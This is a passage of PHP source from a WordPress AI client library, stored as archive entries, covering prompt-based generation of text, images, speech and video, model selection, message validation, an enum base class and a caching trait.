* Checks if the prompt is supported for text to speech conversion.
*
* @since 0.1.0
*
* @return bool True if text to speech conversion is supported.
*/
public function isSupportedForTextToSpeechConversion(): bool
{
return $this->isSupported(CapabilityEnum::textToSpeechConversion());
}
/**
* Checks if the prompt is supported for video generation.
*
* @since 0.1.0
*
* @return bool True if video generation is supported.
*/
public function isSupportedForVideoGeneration(): bool
{
return $this->isSupported(CapabilityEnum::videoGeneration());
}
/**
* Checks if the prompt is supported for speech generation.
*
* @since 0.1.0
*
* @return bool True if speech generation is supported.
*/
public function isSupportedForSpeechGeneration(): bool
{
return $this->isSupported(CapabilityEnum::speechGeneration());
}
/**
* Checks if the prompt is supported for music generation.
*
* @since 0.1.0
*
* @return bool True if music generation is supported.
*/
public function isSupportedForMusicGeneration(): bool
{
return $this->isSupported(CapabilityEnum::musicGeneration());
}
/**
* Checks if the prompt is supported for embedding generation.
*
* @since 0.1.0
*
* @return bool True if embedding generation is supported.
*/
public function isSupportedForEmbeddingGeneration(): bool
{
return $this->isSupported(CapabilityEnum::embeddingGeneration());
}
/**
* Generates a result from the prompt.
*
* This is the primary execution method that generates a result (containing
* potentially multiple candidates) based on the specified capability or
* the configured output modality.
*
* @since 0.1.0
*
* @param CapabilityEnum|null $capability Optional capability to use for generation.
* If null, capability is inferred from output modality.
* @return GenerativeAiResult The generated result containing candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support the required capability.
*/
public function generateResult(?CapabilityEnum $capability = null): GenerativeAiResult
{
$this->validateMessages();
// If capability is not provided, infer it
if ($capability === null) {
// First try to infer from a specific model if one is set
if ($this->model !== null) {
$inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
if ($inferredCapability !== null) {
$capability = $inferredCapability;
}
}
// If still no capability, infer from output modalities
if ($capability === null) {
$capability = $this->inferCapabilityFromOutputModalities();
}
}
$model = $this->getConfiguredModel($capability);
// Dispatch BeforeGenerateResultEvent
$this->dispatchEvent(new BeforeGenerateResultEvent($this->messages, $model, $capability));
// Route to the appropriate generation method based on capability
$result = $this->executeModelGeneration($model, $capability, $this->messages);
// Dispatch AfterGenerateResultEvent
$this->dispatchEvent(new AfterGenerateResultEvent($this->messages, $model, $capability, $result));
return $result;
}
/**
* Executes the model generation based on capability.
*
* @since 0.4.0
*
* @param ModelInterface $model The model to use for generation.
* @param CapabilityEnum $capability The capability to use.
* @param list<Message> $messages The messages to send.
* @return GenerativeAiResult The generated result.
* @throws RuntimeException If the model doesn't support the required capability.
*/
private function executeModelGeneration(ModelInterface $model, CapabilityEnum $capability, array $messages): GenerativeAiResult
{
if ($capability->isTextGeneration()) {
if (!$model instanceof TextGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support text generation.', $model->metadata()->getId()));
}
return $model->generateTextResult($messages);
}
if ($capability->isImageGeneration()) {
if (!$model instanceof ImageGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support image generation.', $model->metadata()->getId()));
}
return $model->generateImageResult($messages);
}
if ($capability->isTextToSpeechConversion()) {
if (!$model instanceof TextToSpeechConversionModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support text-to-speech conversion.', $model->metadata()->getId()));
}
return $model->convertTextToSpeechResult($messages);
}
if ($capability->isSpeechGeneration()) {
if (!$model instanceof SpeechGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support speech generation.', $model->metadata()->getId()));
}
return $model->generateSpeechResult($messages);
}
if ($capability->isVideoGeneration()) {
if (!$model instanceof VideoGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support video generation.', $model->metadata()->getId()));
}
return $model->generateVideoResult($messages);
}
// TODO: Add support for other capabilities when interfaces are available
throw new RuntimeException(sprintf('Capability "%s" is not yet supported for generation.', $capability->value));
}
/**
* Generates a text result from the prompt.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing text candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support text generation.
*/
public function generateTextResult(): GenerativeAiResult
{
// Include text in output modalities
$this->includeOutputModalities(ModalityEnum::text());
// Generate and return the result with text generation capability
return $this->generateResult(CapabilityEnum::textGeneration());
}
/**
* Generates an image result from the prompt.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing image candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support image generation.
*/
public function generateImageResult(): GenerativeAiResult
{
// Include image in output modalities
$this->includeOutputModalities(ModalityEnum::image());
// Generate and return the result with image generation capability
return $this->generateResult(CapabilityEnum::imageGeneration());
}
/**
* Generates a speech result from the prompt.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing speech audio candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support speech generation.
*/
public function generateSpeechResult(): GenerativeAiResult
{
// Include audio in output modalities
$this->includeOutputModalities(ModalityEnum::audio());
// Generate and return the result with speech generation capability
return $this->generateResult(CapabilityEnum::speechGeneration());
}
/**
* Converts text to speech and returns the result.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing speech audio candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support text-to-speech conversion.
*/
public function convertTextToSpeechResult(): GenerativeAiResult
{
// Include audio in output modalities
$this->includeOutputModalities(ModalityEnum::audio());
// Generate and return the result with text-to-speech conversion capability
return $this->generateResult(CapabilityEnum::textToSpeechConversion());
}
/**
* Generates a video result from the prompt.
*
* @since 1.3.0
*
* @return GenerativeAiResult The generated result containing video candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support video generation.
*/
public function generateVideoResult(): GenerativeAiResult
{
// Include video in output modalities
$this->includeOutputModalities(ModalityEnum::video());
// Generate and return the result with video generation capability
return $this->generateResult(CapabilityEnum::videoGeneration());
}
/**
* Generates text from the prompt.
*
* @since 0.1.0
*
* @return string The generated text.
* @throws InvalidArgumentException If the prompt or model validation fails.
*/
public function generateText(): string
{
return $this->generateTextResult()->toText();
}
/**
* Generates multiple text candidates from the prompt.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of candidates to generate.
* @return list<string> The generated texts.
* @throws InvalidArgumentException If the prompt or model validation fails.
*/
public function generateTexts(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
// Generate text result
return $this->generateTextResult()->toTexts();
}
/**
* Generates an image from the prompt.
*
* @since 0.1.0
*
* @return File The generated image file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no image is generated.
*/
public function generateImage(): File
{
return $this->generateImageResult()->toFile();
}
/**
* Generates multiple images from the prompt.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of images to generate.
* @return list<File> The generated image files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no images are generated.
*/
public function generateImages(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
return $this->generateImageResult()->toFiles();
}
/**
* Converts text to speech.
*
* @since 0.1.0
*
* @return File The generated speech audio file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function convertTextToSpeech(): File
{
return $this->convertTextToSpeechResult()->toFile();
}
/**
* Converts text to multiple speech outputs.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of speech outputs to generate.
* @return list<File> The generated speech audio files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function convertTextToSpeeches(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
return $this->convertTextToSpeechResult()->toFiles();
}
/**
* Generates speech from the prompt.
*
* @since 0.1.0
*
* @return File The generated speech audio file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function generateSpeech(): File
{
return $this->generateSpeechResult()->toFile();
}
/**
* Generates multiple speech outputs from the prompt.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of speech outputs to generate.
* @return list<File> The generated speech audio files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function generateSpeeches(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
return $this->generateSpeechResult()->toFiles();
}
/**
* Generates a video from the prompt.
*
* @since 1.3.0
*
* @return File The generated video file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no video is generated.
*/
public function generateVideo(): File
{
return $this->generateVideoResult()->toFile();
}
/**
* Generates multiple videos from the prompt.
*
* @since 1.3.0
*
* @param int|null $candidateCount The number of videos to generate.
* @return list<File> The generated video files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no videos are generated.
*/
public function generateVideos(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
return $this->generateVideoResult()->toFiles();
}
/**
* Appends a MessagePart to the messages array.
*
* If the last message has a user role, the part is added to it.
* Otherwise, a new UserMessage is created with the part.
*
* @since 0.1.0
*
* @param MessagePart $part The part to append.
* @return void
*/
protected function appendPartToMessages(MessagePart $part): void
{
$lastMessage = end($this->messages);
if ($lastMessage instanceof Message && $lastMessage->getRole()->isUser()) {
// Replace the last message with a new one containing the appended part
array_pop($this->messages);
$this->messages[] = $lastMessage->withPart($part);
return;
}
// Create new UserMessage with the part
$this->messages[] = new UserMessage([$part]);
}
/**
* Gets the model to use for generation.
*
* If a model has been explicitly set, validates it meets requirements and returns it.
* Otherwise, finds a suitable model based on the prompt requirements.
*
* @since 0.1.0
*
* @param CapabilityEnum $capability The capability the model will be using.
* @return ModelInterface The model to use.
* @throws InvalidArgumentException If no suitable model is found or set model doesn't meet requirements.
*/
private function getConfiguredModel(CapabilityEnum $capability): ModelInterface
{
$requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
if ($this->model !== null) {
// Explicit model was provided via usingModel(); just update config and bind dependencies.
$model = $this->model;
$model->setConfig($this->modelConfig);
$this->registry->bindModelDependencies($model);
$this->bindModelRequestOptions($model);
return $model;
}
// Retrieve the candidate models map which satisfies the requirements.
$candidateMap = $this->getCandidateModelsMap($requirements);
if (empty($candidateMap)) {
$message = sprintf('No models found that support %s for this prompt.', $capability->value);
if ($this->providerIdOrClassName !== null) {
$message = sprintf('No models found for provider "%s" that support %s for this prompt.', $this->providerIdOrClassName, $capability->value);
}
throw new InvalidArgumentException($message);
}
// Check if any preferred models match the candidates, in priority order.
if (!empty($this->modelPreferenceKeys)) {
// Find preferences that match available candidates, preserving preference order.
$matchingPreferences = array_intersect_key(array_flip($this->modelPreferenceKeys), $candidateMap);
if (!empty($matchingPreferences)) {
// Get the first matching preference key
$firstMatchKey = key($matchingPreferences);
[$providerId, $modelId] = $candidateMap[$firstMatchKey];
$model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
$this->bindModelRequestOptions($model);
return $model;
}
}
// No preference matched; fall back to the first candidate discovered.
[$providerId, $modelId] = reset($candidateMap);
$model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
$this->bindModelRequestOptions($model);
return $model;
}
/**
* Binds configured request options to the model if present and supported.
*
* Request options are only applicable to API-based models that make HTTP requests.
*
* @since 0.3.0
*
* @param ModelInterface $model The model to bind request options to.
* @return void
*/
private function bindModelRequestOptions(ModelInterface $model): void
{
if ($this->requestOptions !== null && $model instanceof ApiBasedModelInterface) {
$model->setRequestOptions($this->requestOptions);
}
}
/**
* Builds a map of candidate models that satisfy the requirements for efficient lookup.
*
* @since 0.2.0
*
* @param ModelRequirements $requirements The requirements derived from the prompt.
* @return array<string, array{0:string,1:string}> Map of preference keys to [providerId, modelId] tuples.
*/
private function getCandidateModelsMap(ModelRequirements $requirements): array
{
if ($this->providerIdOrClassName === null) {
// No provider locked in, gather all models across providers that meet requirements.
$providerModelsMetadata = $this->registry->findModelsMetadataForSupport($requirements);
$candidateMap = [];
foreach ($providerModelsMetadata as $providerModels) {
$providerId = $providerModels->getProvider()->getId();
$providerMap = $this->generateMapFromCandidates($providerId, $providerModels->getModels());
// Use + operator to merge, preserving keys from $candidateMap (first provider wins for model-only keys)
$candidateMap = $candidateMap + $providerMap;
}
return $candidateMap;
}
// Provider set, only consider models from that provider.
$modelsMetadata = $this->registry->findProviderModelsMetadataForSupport($this->providerIdOrClassName, $requirements);
// Ensure we pass the provider ID, not the class name
$providerId = $this->registry->getProviderId($this->providerIdOrClassName);
return $this->generateMapFromCandidates($providerId, $modelsMetadata);
}
/**
* Generates a candidate map from model metadata with both provider-specific and model-only keys.
*
* @since 0.2.0
*
* @param string $providerId The provider ID.
* @param list<ModelMetadata> $modelsMetadata The models metadata to map.
* @return array<string, array{0:string,1:string}> Map of preference keys to [providerId, modelId] tuples.
*/
private function generateMapFromCandidates(string $providerId, array $modelsMetadata): array
{
$map = [];
foreach ($modelsMetadata as $modelMetadata) {
$modelId = $modelMetadata->getId();
// Add provider-specific key
$providerModelKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
$map[$providerModelKey] = [$providerId, $modelId];
// Add model-only key
$modelKey = $this->createModelPreferenceKey($modelId);
$map[$modelKey] = [$providerId, $modelId];
}
return $map;
}
/**
* Normalizes and validates a preference identifier string.
*
* @since 0.2.0
*
* @param mixed $value The value to normalize.
* @param string $emptyMessage The message for empty or invalid values.
* @return string The normalized identifier.
*
* @throws InvalidArgumentException If the value is not a non-empty string.
*/
private function normalizePreferenceIdentifier($value, string $emptyMessage = 'Model preference identifiers cannot be empty.'): string
{
if (!is_string($value)) {
throw new InvalidArgumentException($emptyMessage);
}
$trimmed = trim($value);
if ($trimmed === '') {
throw new InvalidArgumentException($emptyMessage);
}
return $trimmed;
}
/**
* Creates a preference key for a provider/model combination.
*
* @since 0.2.0
*
* @param string $providerId The provider identifier.
* @param string $modelId The model identifier.
* @return string The generated preference key.
*/
private function createProviderModelPreferenceKey(string $providerId, string $modelId): string
{
return 'providerModel::' . $providerId . '::' . $modelId;
}
/**
* Creates a preference key for a model identifier.
*
* @since 0.2.0
*
* @param string $modelId The model identifier.
* @return string The generated preference key.
*/
private function createModelPreferenceKey(string $modelId): string
{
return 'model::' . $modelId;
}
/**
* Parses various input types into a Message with the given role.
*
* @since 0.1.0
*
* @param mixed $input The input to parse.
* @param MessageRoleEnum $defaultRole The role for the message if not specified by input.
* @return Message The parsed message.
* @throws InvalidArgumentException If the input type is not supported or results in empty message.
*/
private function parseMessage($input, MessageRoleEnum $defaultRole): Message
{
// Handle Message input directly
if ($input instanceof Message) {
return $input;
}
// Handle single MessagePart
if ($input instanceof MessagePart) {
return new Message($defaultRole, [$input]);
}
// Handle string input
if (is_string($input)) {
if (trim($input) === '') {
throw new InvalidArgumentException('Cannot create a message from an empty string.');
}
return new Message($defaultRole, [new MessagePart($input)]);
}
// Handle array input
if (!is_array($input)) {
throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, ' . 'a list of string|MessagePart|MessagePartArrayShape, or a Message instance.');
}
// Handle MessageArrayShape input
if (Message::isArrayShape($input)) {
return Message::fromArray($input);
}
// Check if it's a MessagePartArrayShape
if (MessagePart::isArrayShape($input)) {
return new Message($defaultRole, [MessagePart::fromArray($input)]);
}
// It should be a list of string|MessagePart|MessagePartArrayShape
if (!array_is_list($input)) {
throw new InvalidArgumentException('Array input must be a list array.');
}
// Empty array check
if (empty($input)) {
throw new InvalidArgumentException('Cannot create a message from an empty array.');
}
$parts = [];
foreach ($input as $item) {
if (is_string($item)) {
$parts[] = new MessagePart($item);
} elseif ($item instanceof MessagePart) {
$parts[] = $item;
} elseif (is_array($item) && MessagePart::isArrayShape($item)) {
$parts[] = MessagePart::fromArray($item);
} else {
throw new InvalidArgumentException('Array items must be strings, MessagePart instances, or MessagePartArrayShape.');
}
}
return new Message($defaultRole, $parts);
}
/**
* Validates the messages array for prompt generation.
*
* Ensures that:
* - The first message is a user message
* - The last message is a user message
* - The last message has parts
*
* @since 0.1.0
*
* @return void
* @throws InvalidArgumentException If validation fails.
*/
private function validateMessages(): void
{
if (empty($this->messages)) {
throw new InvalidArgumentException('Cannot generate from an empty prompt. Add content using withText() or similar methods.');
}
$firstMessage = reset($this->messages);
if (!$firstMessage->getRole()->isUser()) {
throw new InvalidArgumentException('The first message must be from a user role, not from ' . $firstMessage->getRole()->value);
}
$lastMessage = end($this->messages);
if (!$lastMessage->getRole()->isUser()) {
throw new InvalidArgumentException('The last message must be from a user role, not from ' . $lastMessage->getRole()->value);
}
if (empty($lastMessage->getParts())) {
throw new InvalidArgumentException('The last message must have content parts. Add content using withText() or similar methods.');
}
}
/**
* Checks if the value is a list of Message objects.
*
* @since 0.1.0
*
* @param mixed $value The value to check.
* @return bool True if the value is a list of Message objects.
*
* @phpstan-assert-if-true list<Message> $value
*/
private function isMessagesList($value): bool
{
if (!is_array($value) || empty($value) || !array_is_list($value)) {
return \false;
}
// Check if all items are Messages
foreach ($value as $item) {
if (!$item instanceof Message) {
return \false;
}
}
return \true;
}
/**
* Includes output modalities if not already present.
*
* Adds the given modalities to the output modalities list if they're not
* already included. If output modalities is null, initializes it with
* the given modalities.
*
* @since 0.1.0
*
* @param ModalityEnum ...$modalities The modalities to include.
* @return void
*/
private function includeOutputModalities(ModalityEnum ...$modalities): void
{
$existing = $this->modelConfig->getOutputModalities();
// Initialize if null
if ($existing === null) {
$this->modelConfig->setOutputModalities($modalities);
return;
}
// Build a set of existing modality values for O(1) lookup
$existingValues = [];
foreach ($existing as $existingModality) {
$existingValues[$existingModality->value] = \true;
}
// Add new modalities that don't exist
$toAdd = [];
foreach ($modalities as $modality) {
if (!isset($existingValues[$modality->value])) {
$toAdd[] = $modality;
}
}
// Update if we have new modalities to add
if (!empty($toAdd)) {
$this->modelConfig->setOutputModalities(array_merge($existing, $toAdd));
}
}
/**
* Dispatches an event if an event dispatcher is registered.
*
* @since 0.4.0
*
* @param object $event The event to dispatch.
* @return void
*/
private function dispatchEvent(object $event): void
{
if ($this->eventDispatcher !== null) {
$this->eventDispatcher->dispatch($event);
}
}
}
src/Common/Contracts/CachesDataInterface.php 0000644 00000000542 15220530455 0015037 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;
/**
* Interface for objects that cache data.
*
* @since 0.4.0
*/
interface CachesDataInterface
{
/**
* Invalidates all caches managed by this object.
*
* @since 0.4.0
*
* @return void
*/
public function invalidateCaches(): void;
}
src/Common/Contracts/WithArrayTransformationInterface.php 0000644 00000002033 15220530455 0017715 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;
/**
* Interface for objects that support array transformation.
*
* @since 0.1.0
*
* @template TArrayShape of array<string, mixed>
*/
interface WithArrayTransformationInterface
{
/**
* Converts the object to an array representation.
*
* @since 0.1.0
*
* @return TArrayShape The array representation.
*/
public function toArray(): array;
/**
* Creates an instance from array data.
*
* @since 0.1.0
*
* @param TArrayShape $array The array data.
* @return self<TArrayShape> The created instance.
*/
public static function fromArray(array $array): self;
/**
* Checks if the array is a valid shape for this object.
*
* @since 0.1.0
*
* @param array<mixed> $array The array to check.
* @return bool True if the array is a valid shape.
* @phpstan-assert-if-true TArrayShape $array
*/
public static function isArrayShape(array $array): bool;
}
src/Common/Contracts/WithJsonSchemaInterface.php 0000644 00000001136 15220530455 0015745 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;
/**
* Interface for objects that can provide their JSON schema representation.
*
* This interface is implemented by DTOs to provide a consistent way to retrieve
* their JSON schema for validation and serialization purposes.
*
* @since 0.1.0
*/
interface WithJsonSchemaInterface
{
/**
* Gets the JSON schema representation of the object.
*
* @since 0.1.0
*
* @return array<string, mixed> The JSON schema as an associative array.
*/
public static function getJsonSchema(): array;
}
src/Common/Contracts/AiClientExceptionInterface.php 0000644 00000000527 15220530455 0016431 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;
use Throwable;
/**
* Base interface for all AI Client exceptions.
*
* This interface allows callers to catch all AI Client specific exceptions
* with a single catch statement.
*
* @since 0.2.0
*/
interface AiClientExceptionInterface extends Throwable
{
}
src/Common/AbstractEnum.php 0000644 00000026160 15220530455 0011672 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common;
use BadMethodCallException;
use JsonSerializable;
use ReflectionClass;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
/**
* Abstract base class for enum-like behavior in PHP 7.4.
*
* This class provides enum-like functionality for PHP versions that don't support native enums.
* Child classes should define uppercase snake_case constants for enum values.
*
* @example
* class PersonEnum extends AbstractEnum {
* public const FIRST_NAME = 'first';
* public const LAST_NAME = 'last';
* }
*
* // Usage:
* $enum = PersonEnum::from('first'); // Creates instance with value 'first'
* $enum = PersonEnum::tryFrom('invalid'); // Returns null
* $enum = PersonEnum::firstName(); // Creates instance with value 'first'
* $enum->name; // 'FIRST_NAME'
* $enum->value; // 'first'
* $enum->equals('first'); // Returns true
* $enum->is(PersonEnum::firstName()); // Returns true
* PersonEnum::cases(); // Returns array of all enum instances
*
* @property-read string $value The value of the enum instance.
* @property-read string $name The name of the enum constant.
*
* @since 0.1.0
*/
abstract class AbstractEnum implements JsonSerializable
{
/**
* @var string The value of the enum instance.
*/
private string $value;
/**
* @var string The name of the enum constant.
*/
private string $name;
/**
* @var array<string, array<string, string>> Cache for reflection data.
*/
private static array $cache = [];
/**
* @var array<string, array<string, self>> Cache for enum instances.
*/
private static array $instances = [];
/**
* Constructor is private to ensure instances are created through static methods.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @param string $name The constant name.
*/
final private function __construct(string $value, string $name)
{
$this->value = $value;
$this->name = $name;
}
/**
* Provides read-only access to properties.
*
* @since 0.1.0
*
* @param string $property The property name.
* @return mixed The property value.
* @throws BadMethodCallException If property doesn't exist.
*/
final public function __get(string $property)
{
if ($property === 'value' || $property === 'name') {
return $this->{$property};
}
throw new BadMethodCallException(sprintf('Property %s::%s does not exist', static::class, $property));
}
/**
* Prevents property modification.
*
* @since 0.1.0
*
* @param string $property The property name.
* @param mixed $value The value to set.
* @throws BadMethodCallException Always, as enum properties are read-only.
*/
final public function __set(string $property, $value): void
{
throw new BadMethodCallException(sprintf('Cannot modify property %s::%s - enum properties are read-only', static::class, $property));
}
/**
* Creates an enum instance from a value, throws exception if invalid.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @return static The enum instance.
* @throws InvalidArgumentException If the value is not valid.
*/
final public static function from(string $value): self
{
$instance = self::tryFrom($value);
if ($instance === null) {
throw new InvalidArgumentException(sprintf('%s is not a valid backing value for enum %s', $value, static::class));
}
return $instance;
}
/**
* Tries to create an enum instance from a value, returns null if invalid.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @return static|null The enum instance or null.
*/
final public static function tryFrom(string $value): ?self
{
$constants = static::getConstants();
foreach ($constants as $name => $constantValue) {
if ($constantValue === $value) {
return self::getInstance($constantValue, $name);
}
}
return null;
}
/**
* Gets all enum cases.
*
* @since 0.1.0
*
* @return static[] Array of all enum instances.
*/
final public static function cases(): array
{
$cases = [];
$constants = static::getConstants();
foreach ($constants as $name => $value) {
$cases[] = self::getInstance($value, $name);
}
return $cases;
}
/**
* Checks if this enum has the same value as the given value.
*
* @since 0.1.0
*
* @param string|self $other The value or enum to compare.
* @return bool True if values are equal.
*/
final public function equals($other): bool
{
if ($other instanceof self) {
return $this->is($other);
}
return $this->value === $other;
}
/**
* Checks if this enum is the same instance type and value as another enum.
*
* @since 0.1.0
*
* @param self $other The other enum to compare.
* @return bool True if enums are identical.
*/
final public function is(self $other): bool
{
return $this === $other;
// Since we're using singletons, we can use identity comparison
}
/**
* Gets all valid values for this enum.
*
* @since 0.1.0
*
* @return string[] List of all enum values.
*/
final public static function getValues(): array
{
return array_values(static::getConstants());
}
/**
* Checks if a value is valid for this enum.
*
* @since 0.1.0
*
* @param string $value The value to check.
* @return bool True if value is valid.
*/
final public static function isValidValue(string $value): bool
{
return in_array($value, self::getValues(), \true);
}
/**
* Gets or creates a singleton instance for the given value and name.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @param string $name The constant name.
* @return static The enum instance.
*/
private static function getInstance(string $value, string $name): self
{
$className = static::class;
if (!isset(self::$instances[$className])) {
self::$instances[$className] = [];
}
if (!isset(self::$instances[$className][$name])) {
$instance = new $className($value, $name);
self::$instances[$className][$name] = $instance;
}
/** @var static */
return self::$instances[$className][$name];
}
/**
* Gets all constants for this enum class.
*
* @since 0.1.0
*
* @return array<string, string> Map of constant names to values.
* @throws RuntimeException If invalid constant found.
*/
final protected static function getConstants(): array
{
$className = static::class;
if (!isset(self::$cache[$className])) {
self::$cache[$className] = static::determineClassEnumerations($className);
}
return self::$cache[$className];
}
/**
* Determines the class enumerations by reflecting on class constants.
*
* This method can be overridden by subclasses to customize how
* enumerations are determined (e.g., to add dynamic constants).
*
* @since 0.1.0
*
* @param class-string $className The fully qualified class name.
* @return array<string, string> Map of constant names to values.
* @throws RuntimeException If invalid constant found.
*/
protected static function determineClassEnumerations(string $className): array
{
$reflection = new ReflectionClass($className);
$constants = $reflection->getConstants();
// Validate all constants
$enumConstants = [];
foreach ($constants as $name => $value) {
// Check if constant name follows uppercase snake_case pattern
if (!preg_match('/^[A-Z][A-Z0-9_]*$/', $name)) {
throw new RuntimeException(sprintf('Invalid enum constant name "%s" in %s. Constants must be UPPER_SNAKE_CASE.', $name, $className));
}
// Check if value is valid type
if (!is_string($value)) {
throw new RuntimeException(sprintf('Invalid enum value type for constant %s::%s. ' . 'Only string values are allowed, %s given.', $className, $name, gettype($value)));
}
$enumConstants[$name] = $value;
}
return $enumConstants;
}
/**
* Handles dynamic method calls for enum checking.
*
* @since 0.1.0
*
* @param string $name The method name.
* @param array<mixed> $arguments The method arguments.
* @return bool True if the enum value matches.
* @throws BadMethodCallException If the method doesn't exist.
*/
final public function __call(string $name, array $arguments): bool
{
// Handle is* methods
if (str_starts_with($name, 'is')) {
$constantName = self::camelCaseToConstant(substr($name, 2));
$constants = static::getConstants();
if (isset($constants[$constantName])) {
return $this->value === $constants[$constantName];
}
}
throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name));
}
/**
* Handles static method calls for enum creation.
*
* @since 0.1.0
*
* @param string $name The method name.
* @param array<mixed> $arguments The method arguments.
* @return static The enum instance.
* @throws BadMethodCallException If the method doesn't exist.
*/
final public static function __callStatic(string $name, array $arguments): self
{
$constantName = self::camelCaseToConstant($name);
$constants = static::getConstants();
if (isset($constants[$constantName])) {
return self::getInstance($constants[$constantName], $constantName);
}
throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name));
}
/**
* Converts camelCase to CONSTANT_CASE.
*
* @since 0.1.0
*
* @param string $camelCase The camelCase string.
* @return string The CONSTANT_CASE version.
*/
private static function camelCaseToConstant(string $camelCase): string
{
$snakeCase = preg_replace('/([a-z])([A-Z])/', '$1_$2', $camelCase);
if ($snakeCase === null) {
return strtoupper($camelCase);
}
return strtoupper($snakeCase);
}
/**
* Returns string representation of the enum.
*
* @since 0.1.0
*
* @return string The enum value.
*/
final public function __toString(): string
{
return $this->value;
}
/**
* Converts the enum to a JSON-serializable format.
*
* @since 0.1.0
*
* @return string The enum value.
*/
#[\ReturnTypeWillChange]
public function jsonSerialize()
{
return $this->value;
}
}
src/Common/Traits/WithDataCachingTrait.php 0000644 00000011762 15220530455 0014540 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Traits;
use WordPress\AiClient\AiClient;
/**
* Trait for objects that cache data using PSR-16 cache with in-memory fallback.
*
* When a PSR-16 cache is configured via AiClient::setCache(), data is stored persistently.
* Otherwise, data is cached in-memory for the duration of the request.
*
* @since 0.4.0
*/
trait WithDataCachingTrait
{
/**
* In-memory cache used when no PSR-16 cache is configured.
*
* @since 0.4.0
*
* @var array<string, mixed>
*/
private array $localCache = [];
/**
* Gets the cache key suffixes managed by this object.
*
* @since 0.4.0
*
* @return list<string> The cache key suffixes.
*/
abstract protected function getCachedKeys(): array;
/**
* Gets the base cache key for this object.
*
* The base cache key is used as a prefix for all cache keys managed by this object.
* It should be unique to the implementing class to avoid cache key collisions.
*
* @since 0.4.0
*
* @return string The base cache key.
*/
abstract protected function getBaseCacheKey(): string;
/**
* Checks if a value exists in the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @return bool True if the value exists in cache, false otherwise.
*/
protected function hasCache(string $key): bool
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->has($fullKey);
}
return array_key_exists($fullKey, $this->localCache);
}
/**
* Gets a value from the cache, or computes and caches it if not present.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @param callable $callback The callback to compute the value if not cached.
* @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default.
* Ignored for local cache.
* @return mixed The cached or computed value.
*/
protected function cached(string $key, callable $callback, $ttl = null)
{
if ($this->hasCache($key)) {
return $this->getCache($key);
}
$value = $callback();
$this->setCache($key, $value, $ttl);
return $value;
}
/**
* Gets a value from the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @param mixed $default The default value to return if the key does not exist.
* @return mixed The cached value or the default value if not found.
*/
protected function getCache(string $key, $default = null)
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->get($fullKey, $default);
}
